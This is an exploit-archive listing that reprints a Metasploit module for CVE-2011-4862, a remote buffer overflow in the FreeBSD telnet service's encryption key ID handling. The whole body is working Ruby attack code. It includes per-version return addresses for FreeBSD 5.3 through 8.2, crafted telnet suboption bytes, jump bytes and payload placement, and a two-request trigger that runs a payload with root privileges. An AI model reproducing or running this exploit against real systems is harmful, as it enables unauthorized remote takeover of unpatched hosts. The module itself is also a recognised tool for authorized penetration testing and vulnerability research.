FreeBSD Telnet Service Encyption Key ID Buffer Overflow

2011.12.29
Credit: metasploit
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # $Id: $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Telnet include Msf::Exploit::BruteTargets def initialize(info = {}) super(update_info(info, 'Name' => 'FreeBSD Telnet Service Encyption Key ID Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in the encryption option handler of the FreeBSD telnet service. }, 'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry', 'Dan Rosenberg', 'hdm' ], 'License' => MSF_LICENSE, 'References' => [ ['BID', '51182'], ['CVE', '2011-4862'], ['URL', 'http://www.exploit-db.com/exploits/18280/'] ], 'Privileged' => true, 'Platform' => 'bsd', 'Payload' => { 'Space' => 128, 'BadChars' => "\x00", }, 'Targets' => [ [ 'Automatic', { } ], [ 'FreeBSD 8.2', { 'Ret' => 0x0804a8a9 } ], # call edx [ 'FreeBSD 8.1', { 'Ret' => 0x0804a889 } ], # call edx [ 'FreeBSD 8.0', { 'Ret' => 0x0804a869 } ], # call edx [ 'FreeBSD 7.3/7.4', { 'Ret' => 0x08057bd0 } ], # call edx [ 'FreeBSD 7.0/7.1/7.2', { 'Ret' => 0x0804c4e0 } ], # call edx [ 'FreeBSD 6.3/6.4', { 'Ret' => 0x0804a5b4 } ], # call edx [ 'FreeBSD 6.0/6.1/6.2', { 'Ret' => 0x08052925 } ], # call edx [ 'FreeBSD 5.5', { 'Ret' => 0x0804cf31 } ], # call edx # [ 'FreeBSD 5.4', { 'Ret' => 0x08050006 } ] # Version 5.4 does not seem to be exploitable (the crypto() function is not called) [ 'FreeBSD 5.3', { 'Ret' => 0x8059730 } ], # direct return # Versions 5.2 and below do not support encyption ], 'DefaultTarget' => 0, 'DisclosureDate' => '')) end def exploit_target(t) connect banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s) print_status(banner_sanitized) if datastore['VERBOSE'] enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0" enc_keyid = "\xff\xfa\x26\x07" end_suboption = "\xff\xf0" # Telnet protocol requires 0xff to be escaped with another penc = payload.encoded.gsub("\xff", "\xff\xff") key_id = Rex::Text.rand_text_alphanumeric(400) key_id[ 0, 2] = "\xeb\x76" key_id[72, 4] = [ t['Ret'] - 20 ].pack("V") key_id[76, 4] = [ t['Ret'] ].pack("V") # Some of these bytes can get mangled, jump over them key_id[80,112] = Rex::Text.rand_text_alphanumeric(112) # Bounce to the real payload (avoid corruption) key_id[120, 2] = "\xeb\x46" # The actual payload key_id[192, penc.length] = penc # Create the Key ID command sploit = enc_keyid + key_id + end_suboption # Initiate encryption sock.put(enc_init) # Wait for a successful response loop do data = sock.get_once(-1, 5) rescue nil if not data raise RuntimeError, "This system does not support encryption" end break if data.index("\xff\xfa\x26\x02\x01") end # The first request smashes the pointer print_status("Sending first payload") sock.put(sploit) # Make sure the server replied to the first request data = sock.get_once(-1, 5) unless data print_status("Server did not respond to first payload") return end # Some delay between each request seems necessary in some cases ::IO.select(nil, nil, nil, 0.5) # The second request results in the pointer being called print_status("Sending second payload...") sock.put(sploit) handler ::IO.select(nil, nil, nil, 0.5) disconnect end end


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